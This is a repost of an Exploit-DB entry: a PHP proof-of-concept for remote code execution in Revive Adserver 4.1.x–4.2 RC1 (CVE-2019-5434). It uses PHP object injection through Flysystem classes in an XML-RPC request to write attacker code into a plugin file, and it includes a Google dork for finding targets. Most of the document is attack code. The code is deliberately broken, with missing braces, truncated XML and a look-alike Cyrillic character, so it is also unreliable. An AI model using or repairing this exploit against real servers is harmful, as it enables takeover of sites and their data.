Revive Adserver 4.2 – Remote Code Execution

Exploit Database
116 阅读

作者： crlf

日期： 2019-12-03
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/47739/

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# Exploit Title: Revive Adserver 4.2 - Remote Code Execution

# Google Dork: "inurl:www/delivery filetype:php"

# Exploit Author: crlf

# Vendor Homepage: https://www.revive-adserver.com/

# Software Link: https://www.revive-adserver.com/download/archive/

# Version: 4.1.x <= 4.2 RC1

# Tested on: *nix

# CVE : CVE-2019-5434

# Сontains syntax error for protection against skids

<?php

# Revive Adserver 4.1.x <= 4.2 RC1 PHP Object Injection to Remote Code Execution (CVE-2019-5434)

# coded by @crlf, with love for antichat.com

# special thanks to @Kaimi :)

# the script should be used only for educational purposes!

namespace{

(!isset($argv[2]) ? exit(message('php '.basename(__FILE__).' https://example.com/adserver-dir/ \'<?php phpinfo(); ?>\'')) : @list($x, $url, $code) = $argv);

$source = 'data:text/html;base64,'.base64_encode('#');

$destination = 'plugins/.htaccess';

#$destination = 'var/.htaccess';

if(!strpos(request($url, $source, $destination), 'methodResponse')) exit(message('failed, no valid response from '.$url));

$source = 'data:text/html;base64,'.base64_encode($code);

$destination = 'plugins/3rdPartyServers/ox3rdPartyServers/doubleclick.class.php';

#$destination = 'var/default.conf.php';

request($url, $source, $destination);

message('check '.$url.$destination);

function request($url, $source, $destination){

$what = serialize(

['what' =>

new Pdp\Uri\Url(

new League\Flysystem\File( $destination,

new League\Flysystem\File( 'x://'.$source,

new League\Flysystem\MountManager(

new League\Flysystem\Filesystem(

new League\Flysystem\Config,

new League\Flysystem\Adapter\Local('')

new League\Flysystem\Plugin\ForcedCopy

)

]

);

$what = str_replace(['\Uri\Url\00'],['\5CUri\5CUrl\00'], str_replace(['s:', сhr(0)],['S:', '\\00'], $what));

$xml = '<?xml version="1.0" encoding="ISO-8859-1"?>

<methodName>openads.spc</methodName>

<param>

<value>

<name>remote_addr</name>

</member>

<name>cookies</name>

<value>

<array>

</array>

</value>

</member>

</struct>

</value>

</param>

</params>

</methodCall>';

return file_get_contents($url.'adxmlrpc.php', false, stream_context_create(

['http' =>

['method' => 'POST',

'user_agent' => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0',

'header' =>'Content-type: application/x-www-form-urlencoded',

'content'=> $xml

]

])

);

}

function message($str){

print PHP_EOL.'### '.$str.' ###'.PHP_EOL.PHP_EOL;

}

namespace League\Flysystem\Plugin{

class ForcedCopy{}

}

namespace League\Flysystem{

class Config{

protected $settings = [];

public function __construct(){

$this->settings = ['disable_asserts' => true];

}

class Filesystem{

protected $adapter;

protected $config;

public function __construct($config,$adapter){

$this->config = $config;

$this->adapter = $adapter;

}

class MountManager{

protected $filesystems = [];

protected $plugins = [];

public function __construct($filesystem, $handler){

$this->filesystems = ['x' => $filesystem];

$this->plugins = ['__toString' => $handler];

}

class File{

protected $path;

protected $filesystem;

public function __construct($path, $obj){

$this->filesystem = $obj;

$this->path = $path;

}

namespace League\Flysystem\Adapter{

class Local{

protected $pathPrefix;

public function __construct($prefix){

$this->pathPrefix = $prefix;

}

namespace Pdp\Uri{

class Url{

private $host;

public function __construct($file){

$this->host = $file;

}